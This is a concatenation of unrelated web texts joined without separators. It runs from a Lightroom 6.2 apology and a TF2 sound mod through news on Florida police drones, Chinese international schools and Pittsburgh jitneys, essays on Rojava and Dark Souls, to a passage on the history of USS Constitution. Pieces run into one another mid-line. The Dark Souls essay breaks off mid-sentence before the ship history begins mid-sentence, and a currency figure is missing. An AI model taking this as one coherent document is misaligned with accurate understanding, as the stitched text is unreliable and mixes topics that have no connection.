Update: We plan to restore the old import experience in our next update. In the meantime, if you need to restore previous import functionality, or are experiencing other issues with Lightroom 2015.2.x/6.2.x, we recommend you roll back to the Lightroom 2015.1.1/6.1.1 update until things are reverted and corrected. See instructions here: https://helpx.adobe.com/lightroom/kb/roll-back-to-prior-update.html
I’d like to personally apologize for the quality of the Lightroom 6.2 release we shipped on Monday. The team cares passionately about our product and our customers and we failed on multiple fronts with this release. In our efforts to simplify the import experience we introduced instability that resulted in a significant crashing bug. The scope of that bug was unclear and we made the incorrect decision to ship with the bug while we continued to search for a reproducible case(Reproducible cases are essential for allowing an engineer to solve a problem). The bug has been fixed and today’s update addresses the stability of Lightroom 6.
The simplification of the import experience was also handled poorly. Our customers, educators and research team have been clear on this topic: The import experience in Lightroom is daunting. It’s a step that every customer must successfully take in order to use the product and overwhelming customers with every option in a single screen was not a tenable path forward. We made decisions on sensible defaults and placed many of the controls behind a settings panel. At the same time we removed some of our very low usage features to further reduce complexity and improve quality. These changes were not communicated properly or openly before launch. Lightroom was created in 2006 via a 14 month public beta in a dialog with the photography community. In making these changes without a broader dialog I’ve failed the original core values of the product and the team.
The team will continue to work hard to earn your trust back in subsequent releases and I look forward to reigniting the type of dialog we started in 2006.
Sincerely,
Tom Hogarty and the Lightroom Management Team
Update October 12, 2015: With 432 comments and counting I just wanted to let folks know that I’m reading all of the feedback and the team will provide an update this week.This announcer pack replaces the announcer entirely with the voice of "WE ARE IN THE BEAM" guy from the TF2 Invasion update.
HTML audio not supported This sound pack replaces **ALL** of the announcer's voice from TF2, with Captain Dickhead's voice (the one used in the Invasion update to announce to players that THEY ARE IN THE BEAM)! This mods should work with all or most game modes. Yes MvM! Yes rd_asteroid, etc. As a little bonus, I have humorously replaced some of the sound clips of the duck stage in sd_doomsday_event to Captain Dickhead. Does this work on Valve servers? Turns out yes, this does work on Valve servers. Today I found out that I'm a clumsy tester and should test things more. Oh well, back to Aperture Science. It may be a little buggy and make other minor sounds like Poopy Joe's trumpet humorously turn into some Scottish bagpipe before he crashes. This may also clash with other sound mods, but it depends on the mod. The download is in zip format in case you want to modify it yourself to suit how you want it.Police would be prohibited from using un-manned drones to gather evidence or other information, under a bill filed Thursday by a Senate Republican. The Federal Aviation Authority has begun allowing police departments across the country to use remote control aircraft, or drones, and some are starting to. Miami Police were the first agency in the nation to do so. Police in Miami have been testing drones since 2009, using two 18-pound aircraft, one bought with a grant from the federal government, but have typically only flown the drones over the Everglades and below 400 feet. The bill (SB 92), filed by Sen. Joe Negron, R-Stuart, would allow the use of drones to counter terrorism risks, but would prevent police from using them to take pictures that would be used as evidence. “I support using drones to kill terrorists in Pakistan and Afghanistan,” Negron said. “But they shouldn’t be used to spy on American citizens.… If the police get a search warrant, and they have probable cause to believe a crime’s occurring, that’s fine. But I’m very opposed to making it a general practice to spy on law-abiding Floridians.” People who learn that police are using them in such a way may be able to sue the agency, and the evidence wouldn’t be admissible, under the proposal. Negron said he already has lined up a House sponsor, and said he’ll work hard to pass the measure this year. The use of drones by police is generally opposed by the ACLU, which released a report a year ago calling for limits on their use, and warning that drones may “profoundly change the character of public life,” especially as they become more sophisticated. The Republican Party also had a line in its platform this year supporting limits on aerial surveillance, and there have been bills filed at the federal level to restrict them. Earlier this year, President Barack Obama signed federal legislation that requires the Federal Aviation Administration to plan for the safe integration of civilian drones into the nation’s airspace by 2015. Negron said he doesn’t know how common it is in Florida – or even if any police agencies other than Miami’s are using them. But he also said he’s not confident police departments would even tell citizens if they were. Drones, also known as unmanned aerial vehicles, have also been used in the same ways traditional aircraft have been used for aerial photography: to document environmental damage, even to monitor traffic. Opponents of their use by police agencies say some civilian uses may be OK, but Americans have a basic interest in not being secretly photographed by the government. “There’s a healthy tension between security and liberty and we’ve gone way in the wrong direction in the way of violating our rights,” Negron said. Via David Royse of the News Service of Florida.Looks like the Alabama Republican Party has accepted the futility of trying to make a positive case for its slate of empty-suit, dead-end candidates. You can tell that by the hysterical, hateful mailings that have turned the cathouse mailbox into a political ad Superfund site.
Unable to say anything positive about the party's candidates, the state GOP has decided that even its county commission candidates are running against President Obama.
Take the campaign against County Commissioner Roger Jones in Madison County. Last Friday, we got a mailer with cartoon “Obama ducks” on one side and the astonishing allegation that a county commissioner “votes like Obama” on the other. Part of the “proof” offered is – I'm not making this up – a “February 5, 2008 Letter to the Editor, The Huntsville Times.”
Well ok then. As long as the “proof” isn't something totally unreliable or over the top – like any comment ever at Al.com. Although one of those will probably be in the next mailer: we are truly scraping the bottom here.
Then yesterday, we had an even more hysterical, 8×10 color glossy, suitable-framing-for-your-office-in-Hell mailer with a screeching woman on one side and a question on the other: “Is Roger Jones an Obama Liberal?”
Part of the “proof” offered on that one is that Jones disagreed with then fellow county commissioner Mo Brooks. To most of us (including the editorial board of the Florence Times-Journal), that's an indication of plain good sense and integrity. Yikes… maybe Jones really does have something in common with the President!
Some screen shots of this cartoonish crap are on the flip – along with comparison mailers from Jones, a man who takes his job seriously, lists his accomplishments, and doesn't assume the only way to grab voter interest is with cartoons.
Who is Roger Jones running against? The Alabama GOP doesn't bother to even mention the name of the opponent. And that tells you a heck of a lot more about the quality of the GOP candidate than it does about the Democratic incumbent, doesn't it?
First the cartoon ducks….
Why vote for…. whatisname???
Holy cow! This crazed Democratic/Obama partisan is just scary – according to the photo…
Compare the cartoon crap with actual Roger Jones ads & accomplishments. Who might you prefer to be paving your roads, building ballfields, working on senior centers, and dealing with disasters?
Wow… what's this guy thinking? He's actually running on his record!!!!
Roger Jones' father died just a week or so ago. Our sympathies go out to Jones and so do our good wishes in the face of a clueless assault from the Alabama GOP – an organization that's obviously more interested in national politics than it is in the competence of local elected officials.
guess that's why they're wearing their tinfoil hats to the shooting range for their “victory” party….(ECNS) -- International schools in China are posing new challenges for parents who spend huge sums but often find themselves unprepared for a range of issues, Legal Daily reported.
In top-tier cities like Beijing and Shanghai, many parents send their children to international schools to allow them early preparation for studying abroad. Admission has become more competitive amid China's rising number of high income earners and some schools now assess parental participation in community activities before admitting a child.
Yingzi, a Beijing girl, quit public school mainly because she couldn't bear the heavy workload, which usually needed three hours to finish every night, as well as the school's lack of tolerance for individuality.
But recent report by the think tank Center for China and Globalization and Beijing Royal School said international schools in the country lack standards on tuition, vary greatly in educational quality, while school ownership is sometimes unclear.
International schools in the country come in different forms and many follow the International Baccalaureate (IB) curriculum or that of the country they represent.
As a new approach, some public high schools have also opened international classes to offer a quick transition abroad. They have become popular among parents, though native English speakers are in the minority as Chinese students comprise 90 percent of classes.
A mother surnamed Lu said her family business has expanded across borders so she considered an international education for her child before moving to another country. Her dream primary school requires both parents and the child to have foreign passports, a new criterion to select students. She had to choose another school in Beijing's Chaoyang District asking tuition of 180,000 yuan (,000) per school year.
Many international schools are just educational training institutions operated by some private organizations, Lu said.
In Shanghai, Zheng Yonghua said children in international schools are either from rich or powerful families so her daughter could develop a high-level network from the time she is young.
Zheng also said it's much easier for Chinese students to get admitted by a foreign university of similar quality to top domestic schools like Fudan University and Shanghai Jiaotong University, though the cost is 20 times higher.
The report said half of families whose children study in international schools have an annual household income of at least 500,000 yuan. But money does not guarantee a child's academic success in the new environment.
Bao Xiaojuan, a former teacher at an international school in Beijing, said many Chinese students failed in English studies and some find it hard to adapt to an environment where there's less control in comparison with public schools.
Beijing student Yinagzi took two years to catch up in English proficiency and transfer from a bilingual class to an English-only class.
One mother said her son had to take costly tutoring services to keep up with studies because some schools are dedicated to maintaining a high graduation rate and persuade slow learners to quit or take exams the following year.
Chen Zhiwen, editor-in-chief of education information portal eol.cn, said China needs to introduce a supervision system for international schools.Henderson Hill steers his tan '06 Chevy Equinox around a chuckhole the size of Venango County. "Pittsburgh streets," he says, shaking his head.
Passenger Terri Baltimore sighs audibly.
"Miss Terri," he asks amiably, "you all right?"
"Fine," she smiles. "I'm just fine."
Hill, a Hill District jitney driver, jumped in the life more than 50 years ago at the Erin and Wylie station, the former Kleiman tailor shop made famous by August Wilson in his play Jitney. Hill would still be there, he says, except that the old building was torn down. Fell down is more like it, the drivers say, a miracle no one was killed.
Now, along with some two dozen others, Hill's headquartered in the 2600 block of Centre Avenue, in a ground-level warren marked by an outdoor pop machine and the nearby Warren United Methodist Church.
To get their names listed on the drivers' board, men like Hill pay majordomo Herman Westbrook $30 per week. When the calls come — and they come incessantly — Westbrook answers, "Hello, service." Listening, he says, "Next man," and the next driver in the queue will make the run.
Or not. Five o'clock? Airport? This next man, in a battered brown Pirates cap, turns it down. Too much traffic. Second man in takes it.
Of course, many jitney customers either arrange their rides in advance — regular man, regular time — or call a driver's cell. Some drivers carry printed cards. Some work only from their own phone, taking only riders whom they know personally, or are vouched for by someone they know.
The phone rings. "Service," Westbrook says. "Next man. Downtown." A man in a stingy black fedora — they all wear hats, seemingly part of the uniform — heads for the door.
Sure, jitneys aren't exactly legal, but since they provide a necessary service to underserved areas, and are generally crime- and trouble-free, they usually get a pass from John Law.
Illegal? Extra-legal? The drivers don't care for those descriptions. Unlicensed, maybe. Undocumented, better. Unregulated. Untaxed.
"Informal," suggests Terri Baltimore. A long-time jitney patron and doyenne of all things Hill, she's stationed at Hill House. Working in community relations, she collects many things — artifacts, stories, jitney anecdotes. "Let's say ‘informal.'"
Jitneys have been informal for roughly a century, since motorized transport found its way across cities. Where trolleys and taxis couldn't or wouldn't go, jitneys sprang up. While the etymology of the word is more or less lost, the best thinking is that it derives from the French jetton, for chip. Through Louisianan French, jetnée, the token for the original five-cent fare.
Rules of thumb: Bad weather means good business, so winter is better for jitneys than summer; rain and snow is better than sunshine and blue skies.
Routes include jobs, shopping, airport, church, doctors, even as far as Erie.
Henderson Hill made $125 for the latter, his biggest take ever. Driving since 1963, when, he says, "Snow was snow, and you put chains on your tires to get up and down these hills." He pauses. "That was a lot of work for 50 cents a ride."
Since then he's seen average fares rise steadily to $5 anywhere on the Hill. A trip Downtown takes it up another two dollars. East Liberty is $10; South Side and Mount Oliver, $12; Homewood and Wilkinsburg, $15; Penn Hills, $20 and up; the airport, $30 or $35, depending.
Like Henderson Hill, drivers all own their own cars — all unmarked, all undecorated — and are responsible for their upkeep.
Unlike Uber, where accounts are paid beforehand via credit card, and drivers carry no cash, jitneys are all cash. There is danger, certainly, but it's cash upfront. "We never wait for our money," Hill says.
Money dictates driver hours, too. Some supplement other jobs, some are retirees or receive benefits. "Everybody has an amount of money he wants to make," Hill says. "When he makes it, he goes home."
A full-timer, Hill generally punches a 10-hour clock, noon to 10 p.m., seven days a week. He puts some 33,000 miles a year on his Equinox, and the wear and tear is fearsome. "Jitney tears a car up," he says. "Tires. Shocks. Brakes. Struts. These streets," he shakes his head.
Tonight's bone-jarring ride over, Terri Baltimore arrives back in Wilkinsburg — and Henderson Hill is all charm.
"Miss Terri," he smiles as he reaches over to open her door, "you're home."In May, I saw an announcement on Facebook for the Mesopotamian Social Sciences Academy, a new, coed university in Rojava’s de facto capital, Qamishli. This in itself was revolutionary. For years, Bashar al-Assad and his father, Hafez, forbade many Syrian Kurds to study. In ISIS territory just 15 miles away, Kurdish girls were routinely tortured for being Westernized heretics — sometimes tied by their ponytails to car bumpers and dragged to their deaths. In Rojava, they were being educated.
When I sent a message to the academy’s Facebook page, requesting more information, I received a reply from Yasin Duman, a Kurdish graduate student living in Turkey. He had taught several courses there, he said, and when he found out I was a writer and professor in New York, we discussed a journalism class. Duman explained that Rojava’s youth had little experience with the idea of free speech. Perhaps I could teach them: ‘‘A free people has to have freedom of speech,’’ he said. It would be a cultural exchange. I would teach writing, and my students would show me what life was like in Rojava. We decided that I would spend a week in July giving a crash course in journalism basics: how to report, how to interview and how to document the war raging around them.
Now, after three months and at least as many logistical hiccups, I was about to see this strange political experiment for myself. The official led us out of the office and onto a ramshackle skiff. We were technically entering a failed state. Yet when we came ashore on the other side of the river and passed a brick guard tower staffed with armed men, I saw a red, green and yellow tricolor banner — the flag of Rojava.
If Rojava succeeds, it will be the second partial homeland for the Kurds (the first is the Kurdistan Regional Government in Iraq, though the two administrations are unaffiliated). The modern quest for a homeland began in part as a response to the Sykes-Picot Agreement of 1916, when Britain and France divvied up the Middle East into spheres of influence. Within years, millions of Kurds, who previously occupied a wild terrain surrounding the Tigris and Euphrates Rivers known as Kurdistan, found themselves subjects of the new nations of Iraq, Syria and Turkey. In Turkey, where Kurds make up nearly a fifth of the population, the state sought to solve demands for recognition of Kurdish independence by denying the ethnic group’s existence. Laws have removed any trace of Kurdish identity from history books, banned speaking Kurdish in public and punished violators with long prison sentences. It wasn’t until 2013 that the government repealed a law banning the use of the letters Q, W and X, which appear in the Kurdish alphabet but not the Turkish one. In Syria, where roughly 10 percent of the population is Kurdish, similar policies were enacted by a police chief named Mohammed Talib Hilal, who in 1963 likened his country’s ‘‘Kurdish question’’ to a ‘‘malignant tumor.’’
The chaos of war has made Rojava possible but also rendered its survival tenuous. The territory is governed by a P.K.K. affiliate called the Partiya Yekita Demokrat, which maintains a military called the Y.P.G., or People’s Protection Units, and an all-female force called the Y.P.J., or Female Protection Units. These forces have become key American allies in the region. Since last September, American airstrikes have supported Y.P.G. fighters, and in November, President Obama sent 50 elite Special Operations troops to Rojava to assist and advise the Kurds. Yet the Turkish government, which has allowed the United States to use Incirlik Air Base on the Syrian-Turkish border to coordinate airstrikes against ISIS, has increasingly targeted the Kurds rather than ISIS; since August 2014, Turkey has bombed Kurdish fighters in Iraq and Syria 300 times, and ISIS targets only three.To mold the mind and body. To cultivate a vigorous spirit, And through correct and rigid training, To strive for improvement in the art of Kendo.
–“The Concept of Kendo,” 1975 I am sure you will die a lot in the game, but the game is designed in a way which a player can learn from his deaths. By experiencing a lot of deaths in the game, I am hoping that a player can find out how he can overcome each difficulty in the game… When the difficulty is high, all the values of things a player finds in the game will be very precious.
–Hidetaka Miyazaki, director, Dark Souls
Most reviews of Dark Souls lead with a lament/celebration of its difficulty. Whatever else we might say about this game’s merits (and there is much to say), we’re fixated on this game’s capacity to bash our brains in. Many players find the difficulty frustrating, and some have suggested only masochists can truly enjoy the experience Dark Souls delivers. But for many of us, this game and its predecessor Demon’s Souls elicit an uncommonly ardent (dare I say reverential?) feeling of devotion that few games evoke. Why?
Dark Souls pushes all my buttons, provoking long, bleary-eyed play sessions; tenaciousness bordering on obsession; audible gasps of incredulity, followed by frustration, followed by profane tirades, followed by warnings from my wife not to wake up our 3-year-old. These behaviors are all familiar to me because Demon’s Souls provoked all the same reactions. I’m left wondering why no other games push me anywhere near those places?
These questions have rattled around in my head since late-2009, when Demon’s Souls sunk its hooks in me. What is it about these games that draws me in so completely? Why do I feel such a powerful compulsion to keep going, despite hundreds of ruinous failures along the way? Is it less about the game and more about me? Am I looking for a way to prove myself as a gamer? Am I simply a glutton for punishment?
Maybe I shouldn’t dismiss that last question so quickly. If the ‘punishment’ dished out by these games feels substantive to me - if it truly has meaning - then perhaps I do behave like a player-glutton. I eat up my punishment in big helpings, ever eager for more. I mean, if the shoe fits…
So, an obvious question arises: what does Dark Souls punishment mean? What exactly do I get out of it? Back in ‘09 I took a stab at that question with Demon’s Souls, and the answer I came up with was pedagogy. These games employ a failure-as-tutelage model that works remarkably well, if you’re willing to trust the teacher. Ultimately, the difficulty resonates because the cumulative impact of many failures is progress - and progress feels like victory in these games.
I believe that assessment holds, but I’ve come to realize it doesn’t fully account for the grip Dark Souls has on me. Something else - deeper and more reverberant - is happening to me when I play this game. I believe it has something to do with training and mindful discipline. Playing Dark Souls intently, over time, is akin to practice, in both the common sense of the word - performing an activity or skill repeatedly to achieve mastery - and in the traditional spiritual sense - deepening our awareness through disciplined focus and effort.
For the correct transmission and development of Kendo, efforts should be made to teach the correct way of handling the shinai in accordance with the principles of the sword.[2]
For me, Dark Souls enables an approach to play that reflects Kendo (i.e. “The Way of Sword”) training, with some of the same benefits imparted to the earnest practitioner. Thus, the world of Dark Souls functions as a kind of virtual Dojo, a stern but playful host for rigorous lessons in persistence, patience, discipline, precision, mastery, and charting an optimal path.
Dark Souls is an exacting master, unsparing in its insistence on thoughtful play. No game requires more persistent mindfulness of my actions, my environment, and my technique. Each new place (and its terrain and inhabitants) will test what I’ve learned. Cautiously entering an uncharted region, I unfailingly pause to take a breath and consider my preparation. Am I ready for this? Do I have everything I need? Am I nimble enough? Am I strong enough? Am I fully focused and undistracted?
If any of these answers are ‘no,’ I will very likely die. If all the answers are ‘yes,’ I may survive, but probably not. The real challenge for me isn’t survival - I mean, the game starts the player as dead and insists on keeping him there - the challenge is mostly about paying attention. Learning the game’s cues, memorizing its environments, and internalizing its systems. Dark Souls doesn't rely on adaptive AI for its NPCs because doing so would disrupt this carefully balanced ecosystem. It would also likely make me shoot myself in the head.
The great misconception about Dark Souls and Demon’s Souls is that they’re designed to kill you a thousand times. In fact, these games are a series of immaculately designed challenge chambers, designed to teach the studious player to succeed, but on the game’s terms. At the risk of cliche-mongering, I’ll suggest that this requires a kind of surrender often described as ‘letting go’ or ‘becoming one’ with the game.
If you want to be given everything, give everything up.
--Tao Te Ching
And so in the Dark Souls Dojo the player cultivates his mind, spirit, and technique through disciplined practice, aiming for “Ki-ken-tai-ichi,” (“spirit, sword, and body are one”) a Kendo term used in teaching striking moves. “Ki is spirit, ken refers to the handling of the sword, and tai refers to body movements and posture. When these three |
a prize crew aboard. Constitution had left Boston not fully supplied, but Lord Nelson's stores supplied a Christmas dinner for the crew.[121]
Constitution was cruising off Cape Finisterre on 8 February 1815 when Stewart learned that the Treaty of Ghent had been signed. He realized, however, that a state of war still existed until the treaty was ratified, and Constitution captured the British merchantman Susanna on 16 February; her cargo of animal hides were valued at $75,000.[123]
On 20 February, Constitution sighted the small British ships Cyane and Levant sailing in company and gave chase.[124] Cyane and Levant began a series of broadsides against her, but Stewart outmaneuvered both of them and forced Levant to draw off for repairs. He concentrated fire on Cyane, which soon struck her colors.[124] Levant returned to engage Constitution but she turned and attempted to escape when she saw that Cyane had been defeated.[125] Constitution overtook her and, after several more broadsides, she struck her colors.[124] Stewart remained with his new prizes overnight while ordering repairs to all ships. Constitution had suffered little damage in the battle, though it was later discovered that she had twelve 32-pound British cannonballs embedded in her hull, none of which had penetrated.[126] The trio then set a course for the Cape Verde Islands and arrived at Porto Praya on 10 March.[124]
The next morning, Collier's squadron was spotted on a course for the harbor, and Stewart ordered all ships to sail immediately;[124] he had been unaware until then of Collier's pursuit.[127] Cyane was able to elude the squadron and make sail for America, where she arrived on 10 April, but Levant was overtaken and recaptured. Collier's squadron was distracted with Levant while Constitution made another escape from overwhelming forces.[128]
Constitution set a course towards Guinea and then west towards Brazil, as Stewart had learned from the capture of Susanna that HMS Inconstant was transporting gold bullion back to England, and he wanted her as a prize. Constitution put into Maranhão on 2 April to offload her British prisoners and replenish her drinking water.[129] While there, Stewart learned by rumor that the Treaty of Ghent had been ratified, and set course for America, receiving verification of peace at San Juan, Puerto Rico on 28 April. He then set course for New York and arrived home on 15 May to large celebrations.[124] Constitution emerged from the war undefeated, though her sister ships Chesapeake and President were not so fortunate, having been captured in 1813 and 1815 respectively.[130][131] Constitution was moved to Boston and placed in ordinary in January 1816, sitting out the Second Barbary War.[128]
Mediterranean Squadron [ edit ]
Charlestown Navy Yard's commandant Isaac Hull directed a refitting of Constitution to prepare her for duty with the Mediterranean Squadron in April 1820. They removed Joshua Humphreys' diagonal riders to make room for two iron freshwater tanks, and they replaced the copper sheathing and timbers below the waterline.[132] At the direction of Secretary of the Navy Smith Thompson, she was also subjected to an unusual experiment in which manually operated paddle wheels were fitted to her hull. The paddle wheels were designed to propel her at up to 3 knots (5.6 km/h; 3.5 mph) if she was ever becalmed, by the crew using the ship's capstan.[133] Initial testing was successful, but Hull and Constitution's commanding officer Jacob Jones were reportedly unimpressed with paddle wheels on a US Navy ship. Jones had them removed and stowed in the cargo hold before he departed on 13 May 1821 for a three-year tour of duty in the Mediterranean.[128]
Constitution experienced an uneventful tour, sailing in company with Ontario and Nonsuch, until crew behavior during shore leave gave Jones a reputation as a commodore who was lax in discipline. The Navy grew weary of receiving complaints about the crews' antics while in port and ordered Jones to return. Constitution arrived in Boston on 31 May 1824, and Jones was relieved of command.[134] Thomas Macdonough took command and sailed on 29 October for the Mediterranean under the direction of John Rodgers in North Carolina. With discipline restored, Constitution resumed uneventful duty. Macdonough resigned his command for health reasons on 9 October 1825.[135] Constitution put in for repairs during December and into January 1826, until Daniel Todd Patterson assumed command on 21 February. By August, she had put into Port Mahon, suffering decay of her spar deck, and she remained there until temporary repairs were completed in March 1827. Constitution returned to Boston on 4 July 1828 and was placed in reserve.[136][137]
Old Ironsides [ edit ]
Constitution was built in an era when a ship's expected service life was 10 to 15 years.[138] Secretary of the Navy John Branch made a routine order for surveys of ships in the reserve fleet, and commandant of the Charlestown Navy Yard Charles Morris estimated a repair cost of over $157,000 for Constitution.[139] On 14 September 1830, an article appeared in the Boston Advertiser which erroneously claimed that the Navy intended to scrap Constitution.[140][Note 4] Two days later, Oliver Wendell Holmes' poem "Old Ironsides" was published in the same paper and later all over the country, igniting public indignation and inciting efforts to save "Old Ironsides" from the scrap yard. Secretary Branch approved the costs, and Constitution began a leisurely repair period while awaiting completion of the dry dock then under construction at the yard.[141] In contrast to the efforts to save Constitution, another round of surveys in 1834 found her sister ship Congress unfit for repair; she was unceremoniously broken up in 1835.[142][143]
On 24 June 1833, Constitution entered dry dock. Captain Jesse Elliott, the new commander of the Navy yard, oversaw her reconstruction. Constitution had 30 in (760 mm) of hog in her keel and remained in dry dock until 21 June 1834. This was the first of many times that souvenirs were made from her old planking; Isaac Hull ordered walking canes, picture frames, and even a phaeton that was presented to President Andrew Jackson.[144]
Meanwhile, Elliot directed the installation of a new figurehead of President Jackson under the bowsprit, which became a subject of much controversy due to Jackson's political unpopularity in Boston at the time.[145] Elliot was a Jacksonian Democrat,[146] and he received death threats. Rumors circulated about the citizens of Boston storming the navy yard to remove the figurehead themselves.[142][147]
A merchant captain named Samuel Dewey accepted a small wager as to whether he could complete the task of removal.[148] Elliot had posted guards on Constitution to ensure safety of the figurehead, but Dewey crossed the Charles River in a small boat, using the noise of thunderstorms to mask his movements, and managed to saw off most of Jackson's head.[148] The severed head made the rounds between taverns and meeting houses in Boston until Dewey personally returned it to Secretary of the Navy Mahlon Dickerson; it remained on Dickerson's library shelf for many years.[149][150] The addition of busts to her stern escaped controversy of any kind, depicting Isaac Hull, William Bainbridge, and Charles Stewart; the busts remained in place for the next 40 years.[151]
Mediterranean and Pacific Squadrons [ edit ]
Elliot was appointed captain of Constitution and got underway in March 1835 to New York, where he ordered repairs to the Jackson figurehead, avoiding a second round of controversy.[152] Departing on 16 March Constitution set a course for France to deliver Edward Livingston to his post as Minister. She arrived on 10 April and began the return voyage on 16 May. She arrived back in Boston on 23 June, then sailed on 19 August to take her station as flagship in the Mediterranean, arriving at Port Mahon on 19 September. Her duty over the next two years was uneventful as she and United States made routine patrols and diplomatic visits.[153][154] From April 1837 into February 1838 Elliot collected various ancient artifacts to carry back to America, adding various livestock during the return voyage. Constitution arrived in Norfolk on 31 July. Elliot was later suspended from duty for transporting livestock on a Navy ship.[153][154]
As flagship of the Pacific Squadron under the command of Captain Daniel Turner, she began her next voyage on 1 March 1839 with the duty of patrolling the western coast of South America. Often spending months in one port or another, she visited Valparaíso, Callao, Paita, and Puna while her crew amused themselves with the beaches and taverns in each locality.[155] The return voyage found her at Rio de Janeiro, where Emperor Pedro II of Brazil visited her about 29 August 1841. Departing Rio, she returned to Norfolk on 31 October. On 22 June 1842 she was recommissioned under the command of Foxhall Alexander Parker for duty with the Home Squadron. After spending months in port she put to sea for three weeks during December, then was again put in ordinary.[153]
Around the world [ edit ]
In late 1843, she was moored at Norfolk, serving as a receiving ship. Naval Constructor Foster Rhodes calculated that it would require $70,000 to make her seaworthy. Acting Secretary David Henshaw faced a dilemma. His budget could not support such a cost, yet he could not allow the country's favorite ship to deteriorate. He turned to Captain John Percival, known in the service as "Mad Jack". The captain traveled to Virginia and conducted his own survey of the ship's needs. He reported that the necessary repairs and upgrades could be done at a cost of $10,000. On 6 November, Henshaw told Percival to proceed without delay, but stay within his projected figure. After several months of labor, Percival reported Constitution ready for "a two or even a three year cruise."[156]
She got underway on 29 May 1844 carrying Ambassador to Brazil Henry A. Wise and his family, arriving at Rio de Janeiro on 2 August after making two port visits along the way. She sailed again on 8 September, making port calls at Madagascar, Mozambique, and Zanzibar, and arriving at Sumatra on 1 January 1845. Many of her crew began to suffer from dysentery and fevers, causing several deaths, which led Percival to set course for Singapore, arriving there 8 February. While in Singapore, Commodore Henry Ducie Chads of HMS Cambrian paid a visit to Constitution, offering what medical assistance his squadron could provide. Chads had been the Lieutenant of Java when she surrendered to William Bainbridge 33 years earlier.[157]
Leaving Singapore, Constitution arrived at Turon, Cochinchina (present day Da Nang, Vietnam) on 10 May. Not long after, Percival was informed that French missionary Dominique Lefèbvre was being held captive under sentence of death. He went ashore with a squad of Marines to speak with the local Mandarin. Percival demanded the return of Lefèbvre and took three local leaders hostage to ensure that his demands were met. When no communication was forthcoming, he ordered the capture of three junks, which were brought to Constitution. He released the hostages after two days, attempting to show good faith towards the Mandarin, who had demanded their return. During a storm, the three junks escaped upriver; a detachment of Marines pursued and recaptured them. The supply of food and water from shore was stopped, and Percival gave in to another demand for the release of the junks in order to keep his ship supplied, expecting Lefèbvre to be released. He soon realized that no return would be made, however, and Percival ordered Constitution to depart on 26 May.[158]
She arrived at Canton, China on 20 June and spent the next six weeks there, while Percival made shore and diplomatic visits. Again the crew suffered from dysentery due to poor drinking water, resulting in three more deaths by the time that she reached Manila on 18 September, spending a week there preparing to enter the Pacific Ocean. She then sailed on 28 September for the Hawaiian Islands, arriving at Honolulu on 16 November. She found Commodore John D. Sloat and his flagship Savannah there; Sloat informed Percival that Constitution was needed in Mexico, as the United States was preparing for war after the Texas annexation. She provisioned for six months and sailed for Mazatlán, arriving there on 13 January 1846. She sat at anchor for more than three months until she was finally allowed to sail for home on 22 April, rounding Cape Horn on 4 July. Arriving in Rio de Janeiro, the ship's party learned that the Mexican War had begun on 13 May, soon after their departure from Mazatlán. She arrived home in Boston on 27 September and was mothballed on 5 October.[159]
Mediterranean and African Squadrons [ edit ]
Harpers Weekly in 1875. The Andrew Jackson figurehead as depicted byin 1875.
Constitution began a refitting in 1847 for duty with the Mediterranean Squadron. The figurehead of Andrew Jackson that caused so much controversy 15 years earlier was replaced with another likeness of Jackson, this time without a top hat and with a more Napoleonic pose. Captain John Gwinn commanded her on this voyage, departing on 9 December 1848 and arriving at Tripoli on 19 January 1849. She received King Ferdinand II and Pope Pius IX on board at Gaeta on 1 August, giving them a 21-gun salute. This was the first time that a Pope set foot on American territory or its equivalent.[160]
At Palermo on 1 September, Captain Gwinn died of chronic gastritis and was buried near Lazaretto on the 9th. Captain Thomas Conover assumed command on the 18th and resumed routine patrolling for the rest of the tour, heading home on 1 December 1850. She was involved in a severe collision with the English brig Confidence, cutting her in half, which sank with the loss of her captain. The surviving crew members were carried back to America, where Constitution was put in ordinary once again, this time at the Brooklyn Navy Yard in January 1851.[161]
Constitution was recommissioned on 22 December 1852 under the command of John Rudd. She carried Commodore Isaac Mayo for duty with the African Squadron, departing the yard on 2 March 1853 on a leisurely sail towards Africa and arriving there on 18 June. Mayo made a diplomatic visit in Liberia, arranging a treaty between the Gbarbo and the Grebo tribes. Mayo resorted to firing cannons into the village of the Gbarbo in order to get them to agree to the treaty. About 22 June 1854, he arranged another peace treaty between the leaders of Grahway and Half Cavally.[162]
Constitution took the American ship H. N. Gambrill as a prize near Angola on 3 November. Gambrill was involved in the slave trade and proved to be Constitution's final capture.[163] The rest of her tour passed uneventfully and she sailed for home on 31 March 1855. She was diverted to Havana, Cuba, arriving there on 16 May and departing on the 24th. She arrived at Portsmouth Navy Yard and was decommissioned on 14 June, ending her last duty on the front lines.[164]
Civil War [ edit ]
Since the formation of the US Naval Academy in 1845, there had been a growing need for quarters in which to house the students ( Midshipmen ). In 1857, Constitution was moved to dry dock at the Portsmouth Navy Yard for conversion into a training ship. Some of the earliest known photographs of her were taken during this refitting, which added classrooms on her spar and gun decks and reduced her armament to only 16 guns. Her rating was changed to a "2nd rate ship." She was recommissioned on 1 August 1860 and moved from Portsmouth to the Naval Academy.[165][166]
Constitution, undergoing repairs in 1858. The earliest known photograph of, undergoing repairs in 1858.
At the outbreak of the Civil War in April 1861, Constitution was ordered to relocate farther north after threats had been made against her by Confederate sympathizers.[167] Several companies of Massachusetts volunteer soldiers were stationed aboard for her protection.[168] R. R. Cuyler towed her to New York City, where she arrived on 29 April. She was subsequently relocated, along with the Naval Academy, to Fort Adams in Newport, Rhode Island for the duration of the war. Her sister ship United States was abandoned by the Union and then captured by Confederate forces at the Gosport Shipyard, leaving Constitution the only remaining frigate of the original six.[140][169]
The Navy launched an ironclad on 10 May 1862 as part of the South Atlantic Blockading Squadron, and they bestowed on her the name New Ironsides to honor Constitution's tradition of service. However, New Ironsides's naval career was short, as she was destroyed by fire on 16 December 1865.[170] In August 1865, Constitution moved back to Annapolis, along with the rest of the Naval Academy. During the voyage, she was allowed to drop her tow lines from the tug and continue alone under wind power. Despite her age, she was recorded running at 9 knots (17 km/h; 10 mph) and arrived at Hampton Roads ten hours ahead of the tug.[140]
Settling in again at the Academy, a series of upgrades was installed that included steam pipes and radiators to supply heat from shore, along with gas lighting. From June to August each year, she would depart with midshipmen for their summer training cruise and then return to operate for the rest of the year as a classroom. In June 1867, her last known plank owner William Bryant died in Maine. George Dewey assumed command in November and he served as her commanding officer until 1870. In 1871, her condition had deteriorated to the point where she was retired as a training ship, and then towed to the Philadelphia Navy Yard where she was placed in ordinary on 26 September.[171]
Paris Exposition [ edit ]
Philadelphia Navy Yard 1874
